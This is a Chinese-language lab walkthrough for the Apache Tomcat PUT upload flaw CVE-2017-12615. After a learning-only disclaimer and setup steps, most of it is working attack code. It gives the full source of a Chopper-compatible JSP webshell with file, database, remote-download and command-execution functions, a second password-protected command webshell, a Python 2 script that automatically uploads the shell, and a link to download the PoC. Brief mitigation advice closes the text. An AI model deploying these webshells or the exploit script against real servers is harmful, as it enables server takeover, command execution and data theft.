本次实验仅供学习参考,请勿非法利用。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
• 漏洞名称:Tomcat任意文件上传漏洞
• 漏洞编号:CVE-2017-12615
• 漏洞影响:上传包含任意代码的文件,并被服务器执行。
• 影响平台:Windows
• 影响版本:Apache Tomcat 7.0.0 - 7.0.81
在conf/web.xml中发现,默认配置readonly参数为true(默认值),即不允许DELETE和PUT操作。一般开发过程都会开启此配置,如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
将 readonly 参数为false,既可通过PUT方式上传jsp文件,并通过其执行远程代码,通过 PUT / DELETE 进行文件操控。
本次使用到的工具:
tomcat7.0.75
jdk-8u181-windows-x64.exe
BurpSuite
Firefox
中国菜刀或中国蚁剑
python2.x
1、 安装JDK安装包,右键点击jdk.exe打开,点击下一步
2、默认下一步
3、点击确定
4、这里没显示出来,点击第二个按钮 下一步
5、提示已成功安装就OK了
6、配置java环境:右键计算机属性-高级系统设置-高级-环境变量-新建
7、输入变量名:CLASSPATH 变量值:.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
然后点确定
8、再次新建-输入变量名:JAVA_HOME 变量值:C:\Program Files\Java\jdk1.8.0_181 再次点击确定
9、选中Path-点击编辑-末尾加上;%JAVA_HOME%\jre\bin 再次点击确定,点击确定应用该环境变量
10、cmd输入java –version 提示如下即为配置成功
11、部署tomcat安装包,右键解压zip压缩包到C盘下。
12、进入Tomcat目录,打开apache-tomcat-7.0.75.exe安装程序
13、点击下一步,点击I Agree
14、点击next下一步
15、输入用户名、密码 admin admin ,点击next
16、再次点击next、点击install,点击finish
17、打开本地ie,输入http://127.0.0.1:8080,如果提示如下,需要手动关闭IE增强配置
18、打开开始菜单,点击管理工具-服务器管理器
19、点击配置IE ESC 选中禁用后点击确定
20、打开IE,点击工具-点击Internet选项,点击安全-取消启用保护模式-点击确定
21、再次访问http://127.0.0.1:8080,显示此页面即可
22、服务搭建完成,开启HTTP PUT
修改C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf下的web.xml文件。默认配置条件下不受此漏洞影响。所以需要修改下参数。添加readonly属性,使者readonly=false.
23、修改完成后任务管理器重启服务,或者右下角点击图标重启服务器
1、firefox开启网络代理
2、BurpSuite开启拦截(BurpSuite使用前设置好代理端口)
3、浏览tomcat搭建的网页,打开BurpSuite可以看到拦截的数据包,右键选择发送到Repeater
4、点击重发器
5、GET请求修改为PUT,/后面加要上传文件的jsp%20 不加会被过滤掉,直接报404(%20是为了绕过过滤),在底端加代码,点击发送。代码如下:
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";
String EC(String s, String c) throws Exception {
return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c = DriverManager.getConnection(x[1].trim());
if (x.length > 2) {
c.setCatalog(x[2].trim());
}
return c;
}
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
+ "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
int n;
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os
.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] t = { "TABLE" };
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[3]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
int i;
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
try {
ResultSet r = m.executeQuery(q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
while (r.next()) {
for (i = 1; i <= n; i++) {
sb.append(EC(r.getString(i), cs) + "\t|\t");
}
sb.append("\r\n");
}
r.close();
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}%>
<%
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try {
sb.append("->" + "|");
if (Z.equals("A")) {
String s = new File(application.getRealPath(request
.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(
z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(
new OutputStreamWriter(new FileOutputStream(
new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>
6、关闭BurpSuite拦截,访问网址后面加/xxxxx.jsp,使用菜刀或蚁剑连接,密码是pass
7、右键点击添加网址,点击文件管理,即可以控制目标服务器文件
1、访问Tomcat网页,使用BurpSuite抓包,发送Repeater,修改GET为PUT,/后面加上vvv.jsp%20 添加下面代码后点击发送。代码如下:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>
2、关闭BurpSuite拦截,浏览器访问网址/vvv.jsp
3、在浏览器地址后面加上?&pwd=023&cmd=ipconfig 查看返回效果
4、使用某大佬的python脚本,代码如下。注意使用python2.x版本执行。
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
5、访问http://192.168.0.138:8080/1593330888.jsp 末尾加上?&pwd=023&cmd=ipconfig (cmd后面命令可以加其他命令如tasklist)
临时解决:用户可以禁用PUT方法来防护此漏洞,操作方式如下:
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数,确保readonly参数为true(默认值),即不允许DELETE和PUT操作。
readonly
true
最佳解决方法:升级Tomcat版本
poc链接: https://pan.baidu.com/s/1HYKnMPbNf5Gfr3KbU5sMWg. 提取码ekpk